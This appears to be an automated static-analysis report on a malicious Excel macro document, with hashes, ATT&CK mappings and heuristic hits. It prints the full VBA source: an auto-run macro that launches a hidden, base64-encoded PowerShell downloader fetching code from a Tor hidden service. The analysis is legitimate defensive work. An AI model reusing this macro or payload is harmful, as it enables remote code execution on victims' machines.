Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e94cabf1bcd64b59…

MALICIOUS

Office (OLE)

96.0 KB Created: 2013-08-15 01:48:13 Authoring application: Microsoft Excel First seen: 2015-09-26
MD5: 74b96b82761f3bd481f28ee058db3b00 SHA-1: 365fb3d9f1a29d81c0c8c5ccd3b9aad33f04090e SHA-256: e94cabf1bcd64b59164c2344308d777115c8395c7da40a9bd1a83a6462e02ad7
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

This Excel document contains a Workbook_Open VBA macro that utilizes WScript.Shell to execute a PowerShell command. The macro appears to construct a PowerShell command that downloads a file from 'http://8.8.8.8' and executes it. This indicates a downloader or dropper functionality, aiming to fetch and run a secondary malicious payload. The presence of encoded commands and references to PowerShell and WScript.Shell strongly suggests a malicious intent.

Heuristics 11

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/sharepoint/v3/contenttype/forms In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/contentTypeIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/properties/In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/properties/metaAttributesIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/propertiesIn document text (OLE body)
    • http://www.w3.org/2001/XMLSchemaIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/documentManagement/typesIn document text (OLE body)
    • http://schemas.openxmlformats.org/package/2006/metadata/core-propertiesIn document text (OLE body)
    • http://www.w3.org/2001/XMLSchema-instanceIn document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://purl.org/dc/terms/In document text (OLE body)
    • http://schemas.microsoft.com/office/internal/2005/internalDocumentationIn document text (OLE body)
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsdIn document text (OLE body)
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsdIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7341 bytes
SHA-256: a65de640c462134037f8fa3b3294abf2d46e809173e7c1290a110dec890f2268
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
b = "JwBBAG4AUABhAEEAUABGAGIAeQB5ACcAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJwB4AFQAaABuAEwAVwBIAE8AWQBYACcAOwAnAEIAVQB4AHMATwBXAGwAagAnADsAJABjAGsAbwB2ACAAPQAgACgAZwBlAHQALQB3AG0AaQBvAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQBQAHIAbwBkAHUAYwB0ACkALgBVAFUASQBEADsAJwBWAGUAYQBCACcAOwAnAEEASwBTAFAARABUAGUAJwA7AGkAZgAgACgAKABnAHAAIABIAEsAQwBVADoAXABcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACkAIAAtAG0AYQB0AGMAaAAgACQAYwBrAG8AdgApAHsAOwAnAEwAWgBOAEUATABBAGEAJwA7ACcAbwB4AE8ATwBJAGoAQgB3ACcAOwAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0AaQBkACAAJABwAGkAZAApAC4ASwBpAGwAbAAoACkAOwAnAHMAaQBnAHUAWABoACcA" _
& "OwAnAHgAYwBCAEQAUwBTAGgARABoACcAOwB9ADsAJwBNAHoAVwBBAGgAeQBMAG8AJwA7ACcAaQBQAGUAVAAnADsAZgB1AG4AYwB0AGkAbwBuACAAZQAoACQAeABtAGcAKQB7ADsAJwBOAGIAVgBZAHUAYgBnAE4AaQAnADsAJwBaAEwAYQB1AEEAVwBOACcAOwAkAHUAZgAgAD0AIAAoACgAKABpAGUAeAAgACIAbgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AHQAeAB0ACAAJAB4AG0AZwAgADgALgA4AC4AOAAuADgAIgApACAALQBtAGEAdABjAGgAIAAnACIAJwApACAALQByAGUAcABsAGEAYwBlACAAJwAiACcALAAgACcAJwApAFsAMABdAC4AVAByAGkAbQAoACkAOwAnAEoAVABZAFYATABxACcAOwAnAEIAWgBrAGcAdQBRACcAOwAkAGgAagB3AGgALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAdQBmACwAIAAkAHAAegB6AG4AKQA7ACcAcQBCAGIAWQBUAFMAQQAnADsAJwBUAHAAagBCAE8ATABmACcAOwAkAHQAZwBqACAAPQAgACQAeQBoAGQAaAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABwAHoAegBuACkALgBJAHQAZQBtAHMAKAApADsAJwBVAHQAaQB6AGkAbwBNACcAOwAnAGsAcQBYAE0AZQBiACcA" _
& "OwAkAHkAaABkAGgALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAcwBrACkALgBDAG8AcAB5AEgAZQByAGUAKAAkAHQAZwBqACwAIAAyADAAKQA7ACcAVgBNAGQAeQBQAHUAeQBUAFEASQAnADsAJwBpAGYAVgBMAGQAJwA7AHIAZAAgACQAcAB6AHoAbgA7ACcATgBsAHkARABZAHAAZwBHAFQAQgAnADsAJwBsAGYAWgBKAHEAdwBuAEcAJwA7AH0AOwAnAEoASwAnADsAJwBGAG8AZwBLACcAOwAnAHcAWQBUAGsARwBGAGMAZABMAFAAJwA7ACcAcwB4AFIASABVAHcAcwAnADsAJwBxAGEASwBpAGYAdAAnADsAJwBoAFgASgBoAGoAegBYAEIAZgB3AHIAJwA7ACQAcwBrACAAPQAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAAnACAAKwAgACQAYwBrAG8AdgA7ACcAUgBLAHgAZQBWAGkAJwA7ACcAdQBIAEkAegBPAEQAZQBlAEQAVQAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHMAawApACkAewA7ACcAagBDAE0AWgBxAEcAVABiAG4AcQAnADsAJwBxAEYAYwBKAGsAQwBxAHAAaQAnADsAJABnAGIAagAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8A" _
& "cgB5ACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAkAHMAawA7ACcAaQBFAG4AJwA7ACcAdgBoAG4AVgBZACcAOwAkAGcAYgBqAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAiAEgAaQBkAGQAZQBuACIALAAgACIAUwB5AHMAdABlAG0AIgAsACAAIgBOAG8AdABDAG8AbgB0AGUAbgB0AEkAbgBkAGUAeABlAGQAIgA7ACcAUwByAHMATQBhAFkAcwB2ACcAOwAnAGwASwBHAHkAeQBRAHAAJwA7AH0AOwAnAGYAaABTAHoARABPAGYAQQAnADsAJwBPAEUAcgBJAHcAbgAnADsAJwBqAEkAagB5ACcAOwAnAG0AVABSAHEASgBJAEgAJwA7ACQAbABiAD0AJABzAGsAKwAgACcAXAB0AG8AcgAuAGUAeABlACcAOwAnAEkAUABlAHAAagBJAGQAJwA7ACcAcgBrAEwAbAB1AEIAeABPAEMARQBDACcAOwAkAGsAaABmAHUAPQAkAHMAawArACAAJwBcAHAAbwBsAGkAcABvAC4AZQB4AGUAJwA7ACcAYwBCAHIAegBHAGsAVQBPACcAOwAnAFEAUQBjACcAOwAkAHAAegB6AG4APQAkAHMAawArACcAXAAnACsAJABjAGsAbwB2ACsAJwAuAHoAaQBwACcAOwAnAFQAcgBYAGoAJwA7ACcAYQBtAHYAaAB6AEgAUwB1ACcAOwAkAGgAagB3AGgAPQBOAGUA" _
& "dwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJwBTAGUAVQBmAEMAZwB6AGoAJwA7ACcAagBwAHkAbQB0AEEAaABtAEkAJwA7ACQAeQBoAGQAaAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AOwAnAGEASQBLAG0AVABZAEIAbABXACcAOwAnAEkAYgBVAFMARgBKAG8AbQBOAFYARAAnADsAJwBKAFQARwAnADsAJwBOAHQAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABsAGIAKQAgAC0AbwByACAAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABrAGgAZgB1ACkAKQB7ADsAJwB2AG8AZAAnADsAJwBTAGsAeABjAFkAVAAnADsAZQAgACcAaQAuAHYAYQBuAGsAaQBuAC4AZABlACcAOwAnAFcAcABQAEcAWgB2AHkARABOACcAOwAnAEUAcQBmAGgATQB2ACcAOwB9ADsAJwBRAHgAVQBaAFMAdQAnADsAJwBRAEcAbwAnADsAJwB4AGIAcQBwAEYAUABZAFAAbgB2AFAAJwA7ACcAbwB5ACcAOwBpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAbABiACkAIAAtAG8AcgAgACEAKABUAGUA" _
& "cwB0AC0AUABhAHQAaAAgACQAawBoAGYAdQApACkAewA7ACcAQgBJAEUAYQBJACcAOwAnAE8AaABmAG4AQgBlAFIAVgBuAE4AJwA7AGUAIAAnAGcAZwAuAGkAYgBpAHoALgBjAGMAJwA7ACcATgBOACcAOwAnAHoAYwBkAGwASwBhAGYAawBsAHoAdwAnADsAfQA7ACcAVQBYAFkAWABPAGYAaABwAE8AJwA7ACcAQwBZAGsARgBKACcAOwAnAG0ATAByACcAOwAnAEUAVQBIAGkAZgBRAEUAZQBOAGgAJwA7ACQAdABoAGIAdgA9ACQAcwBrACsAJwBcAHIAbwBhAG0AaQBuAGcAbABvAGcAJwA7ACcAcgB4AGwAcwBjAEUAVgBYAGIAJwA7ACcAdwBEAHgAWgBtAGoATABjAHYATgBQACcAOwBzAGEAcABzACAAJABsAGIAIAAtAEEAcgAgACIAIAAtAC0ATABvAGcAIABgACIAbgBvAHQAaQBjAGUAIABmAGkAbABlACAAJAB0AGgAYgB2AGAAIgAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcAbwBEAFoATABNAFgATABwAGwATwBKACcAOwAnAEMAcQBRAFEAVQBZAGsATgAnADsAZABvAHsAcwBsAGUAZQBwACAAMQA7ACQAdQB5AD0AZwBjACAAJAB0AGgAYgB2AH0AdwBoAGkAbABlACgAIQAoACQAdQB5ACAALQBtAGEAdABjAGgAIAAnAEIAbwBvAHQA" _
& "cwB0AHIAYQBwAHAAZQBkACAAMQAwADAAJQA6ACAARABvAG4AZQAuACcAKQApADsAJwBTAFIAagBvAFoASwBQACcAOwAnAGUAUgBXAHQAcgBiAGoAeQAnADsAcwBhAHAAcwAgACQAawBoAGYAdQAgAC0AYQAgACIAcwBvAGMAawBzAFAAYQByAGUAbgB0AFAAcgBvAHgAeQA9AGwAbwBjAGEAbABoAG8AcwB0ADoAOQAwADUAMAAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcARQBrAEgASQByAE4ASQAnADsAJwBXAHoAawBYAHQAQwAnADsAcwBsAGUAZQBwACAANwA7ACcATQBvAGkAZQB2AE0AYgAnADsAJwBxAE8ASABJAHIASgBXAGcAJwA7ACQAbgByAGEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQAoACIAbABvAGMAYQBsAGgAbwBzAHQAOgA4ADEAMgAzACIAKQA7ACcAWgBqAHgAZgBDAEwAJwA7ACcASQBWAE8AVQBLAEkAbQAnADsAJABuAHIAYQAuAHUAcwBlAEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzACAAPQAgACQAdAByAHUAZQA7ACcAbwB0AFQAZwBDAHAAeQAnADsAJwBTAG8AUgB5AFQAdQBUAFcAQgAnADsAJABoAGoAdwBoAC4AcAByAG8A" _
& "eAB5AD0AJABuAHIAYQA7ACcAcABMAEcAYwAnADsAJwBXAHUAVgBGAEoAagAnADsAJABwAGoAPQAnAGgAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAbwByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AcwBlAHQAdQBwACYAbQBvAG0APQA0AEMANABDADQANQA0ADQALQAwADAANABEAC0ANQAxADEAMAAtADgAMAAzADUALQBDADYAQwAwADQARgA0ADYAMwAyADUAMwAmAHUAaQBkAD0AJwAgACsAIAAkAGMAawBvAHYAOwAnAEIATwAnADsAJwBIAFUAYwBsAFAAUgBMAE0AZABiAHAAJwA7AHcAaABpAGwAZQAoACEAJABiAG0AKQB7ACQAYgBtAD0AJABoAGoAdwBoAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJABwAGoAKQB9ADsAJwBiAGUAZQBnAEEAVQBwACcAOwAnAHAARwBZACcAOwBpAGYAIAAoACQAYgBtACAALQBuAGUAIAAnAG4AbwBuAGUAJwApAHsAOwAnAHoAYgBrAGEAeABtACcAOwAnAHgAUABZAEUAdwBlAEMAbQBnAFEAJwA7AGkAZQB4ACAAJABiAG0AOwAnAGcAdwBFAFYAZABCAEIAJwA7ACcATgBEAHMAQwB3AFIAbQBzAEYAcgAnADsAfQA7ACcAegBKAE4AQwBDAHgA" _
& "JwA7AA=="
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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